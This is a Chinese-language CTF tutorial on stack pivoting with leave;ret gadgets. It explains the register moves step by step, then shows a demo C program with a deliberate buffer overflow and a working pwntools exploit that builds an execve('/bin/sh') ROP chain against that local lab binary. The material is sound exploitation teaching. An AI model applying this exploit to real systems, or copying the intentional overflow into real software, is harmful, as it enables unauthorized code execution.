# Stack migration(pivoting)
> Author: 堇姬Naup
## 概念
- 可輸入的 ROPchain 長度不夠時,可以擴展輸入的方法,將 ROPchain 分好幾次寫在指定的區域,最後再將 stack 移動過去執行
- 如果找到其他地方有足夠空間放ROP,就可以用較少的gadget數,來將stack搬移至ROP位置,進行ROP
## leave
實際上做了兩件事
```
mov rsp, rbp
pop rbp
```
## 方法
### leave;ret
- 透過overflow將rbp填成ROP Chain開始位置address-8
- return address填入leave;ret 的gadget

有一塊可以寫ROP gadget的地方
```
*0x601090(這塊記憶體開始的位置)
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system
```
stack狀態
```
*0x10210<-rsp
stack
*0x10200<-rbp
old rbp
ret adress
```
填入payload
```
*0x10210<-rsp
AAAAAAAA
*0x10200<-rbp
0x601090(0x601098-0x8)
leave;ret
```
首先一路執行下來
通常最後會有個

leave;ret
而leave的意思是
```
mov rsp, rbp
pop rbp
```
所以rsp會變成rbp
```
AAAAAAAA
*0x10200 <- rbp,rsp
0x601090(0x601098-0x8)
leave;ret
```
之後pop rbp會讓stack第一個值推入rbp,也就是0x601090
所以rbp會指向那塊記憶體
```
*0x601090 <- rbp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system
```
之後ret,rsp往下指到leave;ret gadget前面
```
AAAAAAAA
*0x10200
0x601090(0x601098-0x8)
*01018 <- rsp
leave;ret
```
接下來rsp繼續往下
在吃到一次leave,rsp會變成rbp,
```
*0x601090 <- rbp,rsp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system
```
再來pop rbp,rbp指到遙遠的地方0xdeadbeef(總之就是設成這個值)
最後ret,rsp往下指
```
*0x601090
0xdeadbeef
*0x601098(ROP開始的位置)<-rsp
pop rdi
['/bin/sh']
system
```
這樣就會開始執行ROP gadget了
## 題目
### checksec
開NX不能寫shellcode

然後其實沒開canary

### source code
```c=
#include <stdio.h>\
#include <unistd.h>
char name[0x80];
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char s[0x10];
printf("Give me your name: ");
read(0, name, 0x80);
printf("Give me your ROP: ");
read(0, s, 0x20);
return 0;
}
```
首先name這塊區域夠大了,應該可以寫ROPgadget,另外s的部份太小了,要用stack migration來改rsp的位置

另外最後有leave
- execve('/bin/sh')
|暫存器|值|
|---|----|
|rax|0x3b|
|rdi|要執行的參數值(/bin/sh)|
|rsi|argv(這裡=0)|
|rdx|envp(這裡=0)|
|gadget|address|
|------|-------|
|pop rax ; ret|0x4516c7|
|pop rdi ; ret|0x40186a|
|pop rsi ; ret|0x40f40e|
|pop rdx ; ret|0x40176f|
|leave ; ret|0x401dd0|
|syscall|0x4012d3|
新rsp address->0x4c3300
name
```
*0x4c3300
/bin/sh\x00
pop rdi
0x4c3300
pop rax
0x3b
pop rsi
0
pop rdx
0
syscall
```
s
```
'A'*0x10
0x4c3300
leave ; ret
```
這樣就可以讓rsp移到一塊大的記憶體來放ROPgadget,另外把也把/bin/sh放到這塊記憶體開頭這樣就可以抓到了
(可以按照上面的邏輯自己推一遍)
### script
```python=
from pwn import *
context.arch='amd64'
a=input('open debug?')
if a=='y':
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
r=process('./demo_stack_pivoting')
ROPvar={
'pop_rax_ret':0x4516c7,
'pop_rdi_ret':0x40186a,
'pop_rsi_ret':0x40f40e,
'pop_rdx_ret':0x40176f,
'leave_ret':0x401dd0,
'syscall':0x4012d3
}
STACKvar={
'rax_var':0x3b,
'rdi_var':0x4c3300,
'rsi_var':0,
'rdx_var':0,
'shell':b'/bin/sh\x00'
}
name_payload=flat(STACKvar['shell'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['pop_rdx_ret'],
STACKvar['rdx_var'],
ROPvar['syscall']
)
s_payload=b'a'*0x10+p64(0x4c3300)+p64(ROPvar['leave_ret'])
r.sendlineafter(b'Give me your name: ',name_payload)
r.sendlineafter(b'Give me your ROP: ',s_payload)
r.interactive()
```

getshell!!!